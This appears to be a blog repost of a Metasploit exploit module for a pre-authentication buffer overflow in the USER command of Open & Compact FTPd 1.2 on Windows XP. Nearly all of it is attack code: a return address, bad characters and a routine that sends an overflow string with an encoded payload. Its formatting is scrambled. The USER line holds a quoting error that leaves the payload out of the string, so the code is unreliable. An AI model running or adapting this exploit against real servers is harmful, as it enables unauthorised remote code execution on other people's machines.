require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow'
,
'Description'
=> %q{
This
module
exploits a stack overflow
in
the
USER
verb
in
Open & Compact FTPd version
1
.
2
. The program will crash once the payload is sent, so bind shell payloads are
not
effective.
},
'Author'
=>
'Blake'
,
'License'
=>
MSF_LICENSE
,
'Version'
=>
'Version 1'
,
'References'
=>
[
[
'EDB-ID'
,
'11420'
],
[
'URL'
,
''
],
],
'Privileged'
=>
true
,
'DefaultOptions'
=>
{
'EXITFUNC'
=>
'process'
,
},
'Payload'
=>
{
'Space'
=>
400
,
'BadChars'
=>
"\x00\x20\x0a\x0d"
,
'StackAdjustment'
=> -
3500
,
},
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Windows XP SP2/SP3 English'
, {
'Ret'
=> 0x00202c42 } ],
],
'DisclosureDate'
=>
'Feb 12, 2010'
,
'DefaultTarget'
=>
0
))
end
def
exploit
connect
sploit =
"\x42\x2c\x20"
*
199
sploit << make_nops(
10
)
sploit << payload.encoded
login =
"USER + sploit + \r\n"
login <<
"PASS "
+ rand_text_alphanumeric(
12
)
sock.put(login +
"\r\n"
)
handler
disconnect
end
end
This entry was posted in applications, security and tagged exploit, Linux. Bookmark the
permalink. Both comments and trackbacks are currently closed.